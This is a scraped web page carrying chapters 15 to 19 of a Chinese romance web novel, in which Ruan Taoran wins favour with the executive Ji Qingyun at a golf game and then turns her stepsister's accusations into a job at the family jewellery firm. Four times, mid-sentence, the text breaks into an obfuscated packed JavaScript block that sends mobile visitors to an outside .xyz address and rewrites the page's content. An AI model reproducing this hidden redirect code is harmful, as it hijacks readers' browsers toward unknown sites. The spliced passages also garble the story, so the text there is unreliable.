多金自律,气质出众,五官优越,这人就像是教科书里面的标准主角,除了太冷,冷得让人不敢靠近。 不过阮陶然不介意,她和人交朋友的时候,从来不在意对面是不是也是真情,她脑子清醒,从不奢求纪总的感情。 她可能一辈子没办法走进亲缘浅薄的纪总的心里,那又有什么关系,她做纪总身边不可缺少的人就行了。 “这一杆角度和距离都刚刚好,纪总给我们心理压力了。”冯珊珊说道。 “那到我了。”沈秋序才没什么应承的话,开开心心去找球位了。 沈秋序这个球迷,肯定也不记得让纪青云,杆杆打出来最好水平,看得冯珊珊眼皮猛跳。 不过纪青云也不在意这个,只是一边打球一边和冯珊珊聊着注资的事情。 她帮阮陶然牵了线,欠冯珊珊一个人情,这注资就没理由拒绝了。 冯珊珊不纠结这个,她担心的是纪氏给的数字,还有条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691426|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件,虽然是救火,她也不想被投资商拘束,束手束脚的。 起初还有些担心,后来听着纪青云说话的口风,心慢慢放了下去。 前所未有的优厚条件,好到冯珊珊都没什么话再去争取了。 纪氏,传闻之中最是严苛守规矩,这次虽然不逾矩,已经给出来范围之内最好的条件了。 冯珊珊忍不住看了一眼阮陶然,她得了谁的好,心知肚明。 这位阮小姐,在她宾客名单上的重要性,又往上提了提。 阮陶然跟着纪青云当球童,也没有什么怨言,专业球童的事有人干,她就负责断水擦汗,一点都不累。 她勤快得很,给纪青云擦了汗,还不忘问一句:“你身体还好吗?不要勉强,累了就休息一下。” 中午这人还在打吊瓶,她还记得。 纪总不说什么,但眸色显然松了一些,淡淡说道:“没事。” 到了下一个击球点,阮陶然感觉到口袋里的手机在震动。 纪青云和冯珊珊相谈甚欢,刚才擦过汗,应该不需要她,她看了一眼屏幕,走到一边按了接听键。 “晓晓,你怎么还没睡?”阮陶然算了算时差,那边已经是后半夜了。 “我看过伯母,也给你说过了,问题不是很大,有机会我会回去再看的。”阮陶然宽慰人,“你先休息,别把自己熬坏了,到时候伯母更担心了。” 林晓晓道:“我知道,我刚和我妈联系过,她说都好。” “我只是打电话问你,是你把我妈转到庆南医院的吗?” “我妈还问了护士,说不用她交费,你把钱交了?” “庆南医院的VIP病区,要多少钱啊,你回国口袋里没什么钱,你可别逞能……” 余下的话,阮陶然没有听太清楚,只是含糊安慰了几句代过去,挂了电话让林晓晓休息。 日色已然西斜,天边像是被橘黄色墨水浸染的锦缎,像是一副油画的背景,油画的主角是一身白色的纪青云。 她气度冷,容不进油画的暖色调里,却也显得融洽和谐,清冷的眉眼,被暖色勾勒出轮廓。 她可没有帮伯母转院,庆南医院VIP病区她也听说过,病人都非富即贵,进去花销就如流水。 会做这件事的只有纪总。 纪总忙着不高兴,忙着打吊瓶,忙着赴约打球,还没忘这样的小事,事事周到得像是个八核处理器。 而且,纪青云只做,不说,看着面冷心冷,做的事却让人觉得,心里暖暖的。 这样的金主,当然要哄着,她可以把金主当成胚胎哄。 16. 第 16 章 这一球歪了,落在了长草里,球童辨着方向,找到了那片草,然后就要下去找球。 纪青云的声音传递过来:“阮陶然,你去。” 她垂眸,似乎在用手机回信息,修长的指尖,漫不经心,睫羽垂着,甚至没有给阮陶然一个表情。 这是……阮陶然眨了眨眼睛,好吧,纪总不知道又在犯什么病。 球童恰是时候,连忙说道:“阮小姐,我和你一起去。” 再怎么,也没有让客人去捡球的道理,球童赶忙先行一步了。 阮陶然跟在球童的后面走了,冯珊珊在原地看着走远的背影,忍不住有些迟疑。 纪青云对阮陶然到底是什么意思?前面还让人牵线,现在怎么看起来,像是把人当个玩意一样。 阮陶然心里却清楚,跟着球童走了不过三五步,心里就清楚了。 说好今天的任务就是跟着她,结果她跑去和林晓晓通了个电话。 球童回身道:“阮小姐,您就在这儿等着,我去就行。” “我和你一起。”阮陶然脸上绽出来笑意,快走两步和球童并肩。 并不难找,一眼就能看见草丛里的小白球,阮陶然走过去,扒开草叶,捡起来。 然后满面笑容地一路小跑回来,凑近了看纪青云:“姐姐,我捡到了。” “不生气吗?”纪青云的声音淡淡传过来,睫羽抬起,金丝眼镜后面,浅琉璃色的眸子与阮陶然对视。 她的眸子像是一望无际的大海,海浪不兴,海天一色,看不到起伏与波澜,幽沉沉望不见边际。 “不生气啊,给姐姐捡球,我愿意啊。”日光落在她的脸颊上,像是落下一层细细密密的金箔。 她笑着,鸦青色的睫羽像是蝶翼,忽闪忽闪,透着灵动,一双眸子,像是泉水一般干净澄澈。 没什么不高兴的,阮陶然从来都没有什么矫情的想法,也没有大小姐脾气。 纪青云给林晓晓母亲安排了医院,花了那么多钱,就是让她捡个球,这有什么好委屈的? 捡个球抵得上几十上百万,天下难找这么高薪的工作,弯个腰又不是多费事。 所以,她是真的一点怨气都没有,看着纪青云的笑,也都是实打实从心眼里冒出来的。 一个球这么值钱,阮陶然巴不得:“以后姐姐的球,全部都我来捡,姐姐可不能找别人。” 纪青云指尖顿了顿,把手机放回到口袋里,再次抬眸,眸色的冷似乎化了一些:“好。” 阮陶然眼睛里的笑和期待,不似作伪,她真的很期待帮她捡球。 纪青云唇峰微微抿了抿,垂眸在球童的建议下选杆子,浅琉璃色的眸子之中,却似乎有微微的波光荡了一下。 就连捡球,都不觉得委屈,阮陶然,是真的满心满眼都是她。 半场接近尾声,沈秋序胜局已定,打高尔夫是她的爱好,也是她的特长,在业余爱好者之中,顶尖的水平。 沈秋序笑得一脸开心,冯珊珊心都提到了嗓子眼上,这大小姐,是真不知道给纪总面子。 纪青云的最后一杆,球就在离洞不远的地方。 纪青云选了杆子,然后看向阮陶然:“过来。” 阮陶然上前,开开心心站在纪青云面前:“姐姐,怎么了?” 笑容满面的样子,在太阳底下,像是灿烂的太阳花,灵动甜美讨喜,脆生生,水灵灵的。 冯珊珊忍不住嘀咕了一声:“怪不得人家能成功……” 她说话声音小,但站在她身边的沈秋序听得清清楚楚,转头问了一句:“什么?” “没有。”冯珊珊连忙否认,“我没说话。” “我听着了,你说……唔……”沈秋序瞪大了眼睛,因为冯珊珊捂住了她的嘴。 “你可闭嘴吧。”冯珊珊生怕她嚷嚷出去,让纪青云听到。 沈秋序用力把她手扒拉下来:“冯珊珊,你过分,你把我的妆都搞花了。” “花了就花了,大小姐,你能不嚷嚷吗?”冯珊珊漫不经心,从球童手里拿过毛巾,擦了擦手心。 沈秋序更生气了:“冯珊珊,你什么意思,我的嘴脏吗?” “沾了口红,我没别的意思。”冯珊珊被吵得忍不住有些头疼。 “不行,你就是嫌弃我,你完了,下个季度的设计稿我不交了,除非你上门求我。”沈秋序眉宇一抬,趾高气昂。 冯珊珊:“……”早知道当年不捧沈秋序这大小姐了,现在命门被人捏在手里了。 不过,除了沈秋序,她也没别的选择,别的设计师的作品,比沈秋序差了不只是一星半点。 冯珊珊忍不住多看了一眼阮陶然,怎么说呢,人比人就是气死人。 看人家阮小姐,态度多好,哪怕被纪总为难,也是笑容满面,热情洋溢的样子。 难怪人家能成功,能站在纪青云身边,这人就是不简单。 “你怎么不说话了?”沈秋序轻哼了一声,“真不要设计稿了?” 冯珊珊只觉得自己太阳穴在跳,赶忙低声说道:“大小姐,我求求你了好不好,别给我添乱子了。” “态度不好,不行。”沈秋序不买账。 “那怎么才算是态度好?”冯珊珊强挤出来笑容,“我登门致歉?” “假笑。”沈秋序轻哼一声,不过明显买账了,“看我心情再说,我肯让你进门,那是赏你的。” 她们这边的争吵并没有扰乱纪青云和阮陶然那边的节奏。 纪青云把杆子拿起来,递给阮陶然:“这一杆,你来。” “我?”阮陶然迟疑着,没有接杆子,“姐姐,我不会打高尔夫。” “没事,娱乐局,本来就已经输了。”纪青云没收回手,杆子还是在阮陶然面前。 纪青云做下的决定,永远都只有遵守,没有被人回绝的情况。 阮陶然笑吟吟地接过杆子,一双小鹿眼水灵灵看着纪青云,眸子里映着纪青云一个人的影子。 “姐姐,你教我好不好?” 有这样好的机会,当然不能放过了,谁能不喜欢养成系的快乐呢? 但很不凑巧,纪青云的手机恰好在此时响了起来。 “她教你。”纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691427|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青云指了指球童,然后从口袋里拿出来电话,放在耳边,走到旁边去接听。 阮陶然也没有失落,人家是纪氏掌权人,这样的大佬,教她是情分,不教也很正常。 球童已经开始指导阮陶然动作技巧了:“双脚分开站位,重心分开,对,就是这样,握杆是这样的……” 阮陶然调整了动作,目色落在那小白球上,估量了一下和球洞的距离。 扬杆,手臂用力,忽的一下,连着杆子和手臂挥舞下去。 没有砰的声音,反而是阮陶然用力过猛,一下子失去了平衡,身体倾倒过去。 阮陶然来不及控制自己的身体,眼看着要摔过去的时候,手肘忽而一紧,被稳稳扶住了。 阮陶然一下子撞入到一个透着微微冷意的怀抱里,一股幽冷的草木香,像是一张大网,一瞬之间把她笼罩住。 纪青云的手压在阮陶然的胳膊上,但因为阮陶然转了半圈,所以看上去,就像是搂在了阮陶然的腰上。 “抱歉,我这里还有事。”纪青云单手挂了电话,睫羽垂落,眸色落在阮陶然的脸上,“小心一些。” “有点难。”阮陶然轻轻一笑,她也不窘迫,笑里带着灵动。 她从纪青云的怀里站直了身子,把球杆再次握好了:“我再试试吧。” 不屈不挠,什么时候都开开心心的,虽然不会打球,但自信爽朗,就像是峭壁上迎风开放的花。 纪青云的眼前晃了一下,就见到阮陶然重新站好了,一双眸子认认真真盯着小白球。 谁都有第一次,阮陶然才不会觉得气馁,只是再次估算了距离,看了一眼球洞。 沉沉呼了一口气,准备下一杆挥舞出去的时候,手背上忽然微微一凉,覆上来一只手。 修长稳固的指节拢住了她的手,带着她的手往下压了压,清冷如浮冰碰撞的声音:“高了点,这个位置。” 砰——清脆的击球声,这次打中了球,但没有进洞,球滴溜溜转着,在偏离球洞的位置停住了。 “中了!”阮陶然却已经很高兴了,被阳光晒红的鼻尖,透着微微的薄汗,若扑棱棱飞过水面的海鸥,荡起涟漪。 她是真的开心,就只是击球中了,就这么开心。 “你喜欢高尔夫?”纪青云望着她的神色,忽然问了一句。 “喜欢啊。”阮陶然不忘提供情绪价值,“喜欢和姐姐一起打高尔夫。” “我刚才和冯总说过了,这球场我买了一半,签到你名下,以后你可以随时来玩。”纪青云语气平淡,像是说着刚刚去市场买了颗大白菜的事情。 “收着,不准拒绝。”纪青云语气淡淡,完全不给阮陶然说话的机会。 阮陶然眨了眨眼睛,她知道纪青云的性子,送出去就不会有拒绝这个选项。 阮陶然只是有些被砸晕了,她是穷人,没见过随手就送出去半个球场的豪气。 就因为她一句喜欢? 阮陶然看了一圈这个球场,忍不住在心里感叹了一句—— 捡球委屈吗?一点都不委屈。她能给纪青云捡一辈子的球。 17. 第 17 章 阮陶然回家的时候,已经是晚上十一点,阮家依旧是灯火通明。 还没进门,就听到一阵热闹的嬉闹声。 客厅里,一二十个身着光鲜亮丽的男男女女,有些在拼酒,有些在唱歌,热闹得不像样子。 其中最引人瞩目的就是人群之中的阮如月,她穿了件奢牌定制的亮片半身裙,头发卷了大波浪,颈上是一条熠熠夺目的钻石项链,化了精致的妆容,因为有了三分酒意,眼尾含着微微的红。 听到门开,阮如月的目光看过来,饶有兴味道:“爸爸只说你乖,鬼混到十一点多回来,也算是乖?” “这是你那个妹妹?”坐在阮如月身边的男生,笑着碰了碰阮如月的杯,“看起来不过这样嘛。” “可不是嘛,我爸总是夸她,这有什么好夸的?” “对啊,哪有如月你漂亮,设计师大赛也输给你了是吧?” 阮如月赢了阮陶然一次,恨不得把这消息广而告之,这些不在设计圈子里的人,也有所耳闻。 阮陶然久不在国内,这些江城上流圈子里的男男女女,她也不都不认识。 她也不在意这些人嘴里的话,这些人和阮如月是好朋友,长着一条舌头,她介意的话,只是气坏了自己。 不和垃圾置气,阮陶然看不上这些人,自然心胸广阔。 转身就往楼上自己的房间走去。 她无视的态度,最是惹得阮如月不满意的:“阮陶然,你有没有点礼貌?” “我是你姐姐,回家看见我连句问候都没有,说出去侮辱我们阮家的家教。” 阮陶然转过身来,眉梢微微扬了扬,露出个灿烂的笑:“大姐。” “别喊我,听着恶心。”阮如月声音扬了扬,听到这个大姐,她就没来由生气,听起来像是菜市场卖菜的一样。 “那我不喊了,你们慢慢玩,我先上去了。”阮陶然唇角一扬,露出个灿烂如三月春光的笑容。 一双眸子里澄澈干净,积极洋溢得似乎是听不懂阮如月的怒气,笑吟吟的模样。 刺激得阮如月一口干了杯子里的酒:“阮陶然,故意的是不是?” 她砸了手里的杯子,站起身来,指着阮陶然,却被身边人拦住了:“如月,你别发火啊。” “怎么,你们也被小狐狸精勾了魂,见了一面就要护着她了?”阮如月语气不满。 “一个个跟我爸一样,眼瞎心瞎,看不清楚她的真面孔吗?” 她砸杯子用的力气很大,碎片迸起来,正好有一片贴着阮陶然的手背飞过去。 阮陶然下意识躲了,依旧觉得一阵刺痛,低头就看到手背上浸出来的一条血线。 “如月,我们不是这个意思,她也没说什么,你没必要发这么大火吧。” “对啊,我们玩得开心,你管她干什么,影响我们的好心情。” 阮如月眸色一扫,那些人瞬间噤若寒蝉,周围的气氛都微微凝固了。 这些人没敢说话,他们都知道阮如月脾气不好,但从他们角度看来,就是阮陶然回来喊了一声,然后阮如月就发火了,阮陶然看上去乖乖巧巧,什么都没做。 他们没有经历前几天的事情,自然不知道阮如月恶心这个大姐的称呼,但因为阮峰维护,只能捏着鼻子接受。 所以,她听见这个称呼,就想起来阮峰的维护,心里就忍不住发火。 阮陶然依旧是很有礼貌的样子,指腹轻轻擦掉手背上的血痕:“大姐,如果没什么事,我先上去休息了。” “有事,当然有事。”阮如月站起身来,走到阮陶然面前,上下打量,指尖拈在衣领上。 “Rain系列的西装外套,手工定制的料子,这衣服有价无市,我的好妹妹,这是去哪儿鬼混了?” “抱了哪个金主的大腿,上了床鬼混到现在回来?” “你猜要是爸爸知道了,你在她面前的乖乖女形象还能不能维持得住?” 阮陶然嫩黄色的裙子外面,穿着一件墨色的西装外套,考究的面料和剪裁,透着一股草木味道的冷香。 阮陶然把她的手拍下去,睫羽似乎轻轻颤了颤:“大姐,这和你没有关系。” 她声音有点浅,拢住了身上的外套,往后退了一步。 “没关系?当然有关系,我是你姐姐,就有资格管教你。”阮如月伸手拉住了阮陶然,把人扯到沙发边上。 猛一用力,把人甩在了沙发上:“你就在这儿坐着,我现在就给爸爸打电话,看你还打算怎么狡辩。” “如月,那我们?”和阮如月一起玩的人,语气有些试探。 就是因为阮峰今晚不回来,阮如月才把他们喊来一起玩,他们可不敢见阮峰。 “你们先走,下周MK包场,我请客补偿,你们随便开酒,记我账上。”阮如月花钱向来很大气。 “还是如月大气,那我们就先走了,你找人收拾收拾,别让伯父看出来。” “看来有好戏啊,如月,明天别忘了跟我说说后续啊。” “你这妹妹也是,一身穷酸气,还学人家勾搭金主,真是好笑。” 他们一听阮如月要请吃请喝请玩,顿时就眉开眼笑起来,笑着附和阮如月。 阮如月向来享受这种众星捧月的感觉,眉宇之间忍不住染了些趾高气扬:“那是,我可没有穷酸气。” 说着,还解了脖子上的钻石项链,丢给身边的女生:“给你了,你负责找车,把他们都送回去。” “好。”那女孩儿脸上的笑容瞬间浓了起来,“谢谢如月。” 这项链是阮如月上个月买的,才戴了两次,求着阮峰在国外拍卖回来的,价值不菲。 阮陶然看着,也不说话,眸子里淡淡的。 阮如月身边这么多朋友,大半都是贪图富贵的狐朋狗友,阮如月被捧得昏了头,把他们当好朋友。 等着人走了,家里的保洁和管家一起忙了起来,赶忙把客厅乱七八糟的东西都收干净。 阮如月看得收了差不多,自己也换了身上的亮色短裙,换了件家常居家服,才给阮峰打电话。 也不知道她软言软语地撒了什么娇,不过半小时,就听到外面车鸣笛的声音,阮峰已经回来了。 阮峰踏入家门的时候,阮如月就笑着迎了上去,搂住了阮峰的胳膊:“爸爸,你可算是回来了。” 阮峰这几日忙着一个大项目,眼睛里满是疲惫,眼睑下面一圈淡淡的青紫。 忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691428|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住蹙了蹙眉说道:“不是说你病了吗?” 下一句话,更是有了些淡淡的不满:“从外面喝酒回来?身上都是酒气。” 阮峰不喜欢阮如月出去喝酒,在他看来,女孩子就该乖乖巧巧画画弹琴跳舞,找个好男人嫁了。 “没有出去喝,我晚上有点失眠,睡前喝了一小杯,就一杯。”阮如月经常这样,自然知道怎么过关。 贴着阮峰,搂着他的胳膊晃了晃:“爸爸,你别生气嘛,我平时可是最听话的,今天是失眠了嘛,我实在是睡不着,爸爸你最好了,我都失眠了,你别跟我生气了。” “失眠?”阮峰的语气瞬间就缓和了下来,“让你妈给你约医生去看看,睡不着这问题可大可小的。” 阮陶然听着,眸子里一片平静,她一点都不意外,从小到大都是这样,无论阮如月犯了什么错,温声软语撒个娇,阮峰就什么都不计较了,事情就揭过去了。 “没事,小事,不用爸爸操心,我自己去看。”阮如月笑了笑。 阮峰继续道:“喊我回来就是你失眠?” “不是啦……”阮如月语气顿了一下,似乎有些为难,“我是怕别人听到了,家丑外扬。” 说着,她下颌微微抬起,示意阮陶然的方向。 阮峰这才看到了阮陶然:“然然怎么现在还没睡?” “叔叔,先喝口水吧,你这几天总在忙,辛苦了。”阮陶然把手里的杯子递过去。 温温的温度,刚好能下口,似乎有蜂蜜的甜香味道,一看就是用了心。 她一双眸子看着阮峰,笑意灿烂的模样,眼里满都是关切。 “还是然然细心。”阮峰长长出了一口气,端起杯子喝了半杯,重新递回给阮陶然。 “爸爸,她就会在你面前卖乖。”阮如月不满地轻哼了一声。 阮峰忍不住有些头疼,一关系到阮陶然,饶曼和阮如月都是这样,纠缠不清,扰得这个家乱糟糟的。 他不想在这个问题上纠缠,问道:“你刚才说家丑,什么家丑?” “就是她啊。”阮如月这下来了精神,“我失眠没睡好,晚上十一点多听见门响,就看见她回来了。” “鬼混到十一点多回来就算,身上穿得也不知道是什么金主的西装。” “这要是传出去,我们阮家女儿的名声要不要了?我以后要怎么嫁人啊?” 阮峰的目光也落在了阮陶然身上,那件墨色的西装,一看就不是阮陶然的衣服,明显宽大了一些。 “不是的,叔叔……”阮陶然开口解释道。 阮如月哪里会给她解释的机会:“爸爸,这个系列的西装我知道的,全是定制,里衬上有客人名字。” “你让她脱了给你看,看到底是什么人的名字。”阮如月咄咄逼人。 她知道阮峰是个传统的人,只要坐实了阮陶然在外面鬼混,阮峰肯定就不喜欢她了。 这个家里,只要阮峰不护着阮陶然,她自然有千百种办法收拾阮陶然。 阮陶然的睫羽颤了颤,拉住了身上的衣服,似乎是有些怯怯。 阮如月越发肯定自己的猜测,扬声道:“怎么?有胆子爬床,没胆子脱外套啊,现在知道羞耻了?” 18. 第 18 章 阮峰的目光晦暗不清,审视的眸光落在阮陶然的身上,神情压不住的失望。 “叔叔……”阮陶然欲言又止。 阮如月眼看着要胜利了,紧逼不舍:“怎么,你还想狡辩?” “不是这样的,只是我的一个朋友。”阮陶然小声说道。 “爸爸,我每次就出去喝个酒,你都要训我,她都做到这份上了,你不能不管。”阮如月向阮峰撒娇。 阮峰轻轻叹了口气,拍了拍阮如月的手:“好了,我知道了。” 他望着阮陶然的那张脸,依稀和记忆里宋灵玉的脸缓缓重合,精致清丽,阳光灿烂,热情洋溢。 只是遇见宋灵玉的时候,她就已经是他的嫂子了,他不是没有表达过爱意,但每次宋灵玉都拒之千里。 宋灵玉那样的,才是他心中女神的模样,懂得距离,懂得分寸。 他忍不住对阮陶然失望,明明是一张五六分相似的脸,怎么能穿了一件外人的西装回来? “叔叔,真的,只是我一个朋友,大姐误会了。”阮陶然继续低声解释。 “我误会了?你今天出去穿的可不是这件,回来就换了件衣服,不知羞耻。”阮如月继续攻势。 能有把阮陶然一巴掌拍死的机会,她绝不会放过,就今天,让阮陶然在阮峰面前翻车。 “脱了,把衣服给我。”阮峰语气之中透着严肃威严。 “不敢脱吗?”阮如月说着,就要上手,“那我帮你扒了皮,看看到底是哪个老男人的衣服。” “大姐……”阮陶然往后躲了躲,目色之中似乎有些紧张,顿了一下,才下定了决心一般,“我自己脱。” 她动作不是很快,脱掉了外面的外套之后,顿了一下,才递给阮峰。 阮峰接了过来,阮如月也赶忙探头过去看。 内侧果然有姓名标志——J.Oakley。 “这个Oakley是谁?”阮如月质问道。 “我可不知道江城和我们年岁差不多大的人里面,有人叫这个奇怪名字的。” “肯定是年纪大的老男人……” “不是。”阮陶然一副想要辩解的样子。 “什么不是?你败坏阮家女儿的名声,就是连累我,我还不能讲了?”阮如月得理不饶人。 “够了,你闭嘴。”阮峰却忽然沉沉出声,打断了阮如月的话。 “爸爸——”阮如月尾音里都带着上扬,满是撒娇的语气,“这事可不能就这么算了。” “不算了,你想怎么样?找小报媒体宣扬出去吗?你刚才还说关系到自己的名声,现在不在意了?” “我看你就是闲的,一天天闲得没事干,出去买包买衣服不行吗,非要搞乱七八糟的事情。” “从我刚才回来,你就咄咄逼人,语气里恨不得把你妹妹拍死,有点姐姐的样子吗?” “没事就回你房间休息,别在这里碍我眼睛。” 阮峰一连几句严肃的话,句句透着冰碴子的冷,阮如月的声音一下子止住了,瞪大了眼睛。 她爸爸会这么跟她说话?这二十多年从来没有过这样的事情。 为什么?就为了维护阮陶然这个贱人? 这死丫头有什么好的?他连亲生女儿都不要了? 阮如月心中有疑问,但还没来及说出来,阮峰的声音又到了:“愣着干什么,还不回自己的房间去?” “爸爸——”阮如月小声喊了一句。 “再不回去,你那条项链别想买了。”阮峰说的是那条红宝石项链,阮如月想要,就不敢说什么了。 “好,我上去休息。”阮如月说这话的时候,目光从阮陶然身上扫过去,恨不得如刀子一般把人凌迟。 她心里不高兴,因为项链不敢乱说,却还是不高兴,进门的时候咚的一声摔上了门。 阮峰蹙了蹙眉,冷声道:“怎么这么不动礼貌。” “没事的,大姐也是误会了。”阮陶然语气里一点恼怒都没有,还在帮阮如月说话。 她可不觉得,阮峰会为了她责罚自己的宝贝女儿,他这么多冷话是说给阮陶然的,是为了这个J.Oakley。 阮峰眸子里满是慈爱,也有点试探的味道:“然然,你认得纪总?” 阮如月不知道,因为她身边的都是二代三代狐朋狗友,认识不到纪青云这么高质量的资源。 阮峰在江城,难免和纪氏交往,一眼就认出来了,这个签名是纪青云。 “你别怪你姐姐,她也是没脑子,想一出是一出的,我肯定会好好罚她的,扣她下个月零用钱。” 阮陶然眸子动了动,刚才阮如月都要扑过来扒她的衣服了,结果只是扣零用钱这样的惩罚? 阮峰扣了,阮如月没钱花就去找饶曼,饶曼还是会给她补上。 这个惩罚,完全不算是惩罚吧。 阮陶然心里这么想,面上却依旧挂着灿烂温暖的笑:“我没有怪姐姐,她也是误会了。” 阮峰见阮陶然不在意,也就心安理得继续问:“你和纪总是什么关系啊?” “最近Serapnine正在申请入驻星悦城,不知道纪总那边有什么想法?” “这我怎么会知道呢。”阮陶然眨了眨眼睛,眸子里干净单纯的样子,“我们只是普通朋友。” “那纪总把她的衣服给你穿……”阮峰语气迟疑。 都把衣服给阮陶然了,说是普通朋友,阮峰怎么都不信的。 “我们今天一起去打高尔夫,晚上回来有些冷,纪总随便拿了一件给我,还要还给她的。”阮陶然说道。 “这样啊……”阮峰思忖了一下,“那你还她衣服的时候,问问Serapnine的情况?” 阮峰前些年不重视珠宝,Serapnine被扔进墙角,几乎蒙尘没人管。 但最近陆迪集团的珠宝品牌OFU冉冉升起,实在是赚钱,看得他眼热。 如果Serapnine能进入到星悦城,这会是一个新的起点,以后可以发展起来,赚不少钱。 “这个,我不太好问吧。”阮陶然的语气有些为难。 “我平时又不管公司的事情,忽然去问,纪总恐怕会觉得我们太功利。” “也是……”阮峰皱眉,有些苦恼,他当然听说过,纪青云铁面无私,纪氏纪律严明,规则秩序不能动。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691429|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不如这样。”阮陶然说道,“叔叔,你安排我到Serapnine上班,我闲聊的时候就可以提到,不会太刻意。” 阮陶然唇角一扬,露出来个单纯得像气泡水的笑:“我也不做经理主理人什么的,我就做个普通的设计师。” 听到阮陶然说上一句的时候,阮峰的心已经起了警惕,他可不希望阮陶然进入管理层,到时候夺了他的权。 听到后一句,心就放下来了,阮陶然是个没野心的,只是做个设计师,又无关大雅,影响不了什么。 于是,阮峰几乎就没思考,就点头答应了:“行,到时候你记得找纪总问问。” “嗯。”阮陶然说着,把桌上的蜂蜜水递给阮峰,“叔叔,你这两天也辛苦,喝了蜂蜜水赶紧回去休息吧。” 她语气和婉,一双眸子亮闪闪地透着生机勃勃,递过来的蜂蜜水的温度也是刚刚好的。 阮峰也忍不住心里一片暖色,接了蜂蜜水喝下去:“然然,你也早点休息。” 望着阮峰的身影进入到房间之中,阮陶然的眉眼忍不住弯了弯,露出个浅浅的笑容来。 她拿过沙发上的西装外套,指尖擦过纪青云的签名。 她就是故意的,她的外套被纪青云扔进了垃圾桶里,晚上和冯珊珊她们一起吃完饭之后,她就打了个喷嚏。 纪青云果然,把她盯上的车里那件外套拿给她穿了。 这件西装偏中性,穿在阮陶然身上又宽大,看上去就像是男性的衣服。 她等的就是这个机会,借着纪青云的势,提出来进入Serapnine工作。 周管家递了创可贴过来:“二小姐,您的手还在流血,处理一下吧。” “谢谢周伯伯。”阮陶然笑盈盈地接过来,睫羽如蝶翼扇动,脸上的笑也是温暖的。 周管家没听到阮陶然和阮峰后面的谈话,只看到阮如月的刁难,看到这个小姑娘在这个家的艰难。 虽然艰难,却不显得狼狈,她什么时候都是这样笑着的,热情积极阳光向上。 阮陶然随意用创口贴贴了伤口,就回了房,把那件墨色的西装挂在衣架上。 看着看着,还是会忍不住轻轻笑出来。 看了一会儿,拿出来手机给纪青云发了条消息—— [你明天方便吗?我把你的衣服送回去。] 纪青云回信很快,言简意赅。 [明天飞奥克兰,衣服可以放在纪氏前台。] 放在前台?这怎么行?她拿这件衣服一方面是为了借势,另一方面也是为了制造和纪青云的见面机会。 一借一还,不就有见面的借口了吗? 阮陶然问:[那你什么时候回来,还是交到你手上我放心。] 对面没说话,她又补了一句:[我想见你。] 纪氏,纪青云站在落地窗前,俯瞰着夜色之中的城市,办公室里大灯没开,光线略有些昏暗。 纪青云的五官笼罩在手机映出来的浅浅光影里,矜冷的轮廓,一半掩盖在暗色之中。 她眸子中倒映着屏幕上的四个字。 指尖顿了良久,回了一句:[好,你来接我。] 19. 第 19 章 阮陶然已经吃完了早饭的时候,阮如月才踩着拖鞋,慢悠悠打着哈欠出来。 阮陶然已经收拾化妆打扮得很好看了,橘色调的妆容,透着元气,但衣服选了白色系,不至于庄重,也不至于失礼。 头发精心编了发型,戴了成套的钻石发夹,整个人透着光彩熠熠的好看。 卷王上班第一天,就是要从早起卷到装扮,每一根头发丝都是设计好的弧度。 倒是看得阮如月又忍不住轻哼了一声。 饶曼连忙过去拉着她,按在位置上坐好:“快些吃饭吧,等会儿上班迟到了。” “我去自己家公司上班,谁能说我啊。”阮如月嘟囔着,昨晚喝了酒,有些宿醉,头晕晕沉沉的。 要不是为了上这个破班,她肯定一觉睡到中午以后再起床。 饶曼早有预料,给她准备了解酒汤,看着她一口一口喝下去。 阮峰皱了皱眉:“要不你别去了,你这样的心态怎么行?” 饶曼附和:“对啊,我也是这么说,咱们家又不缺你这份工资……” “不行,我要去。”阮如月仿佛一瞬间清醒了几分,咕嘟咕嘟把解酒汤灌下去。 知道阮峰要把阮陶然送到Serapnine做设计师,她软磨硬泡终于说服了阮峰她也要去。 她也是珠宝设计专业,又拿过S国新锐设计师大赛金奖,履历是够的,但饶曼觉得辛苦,劝了几次,没劝动。 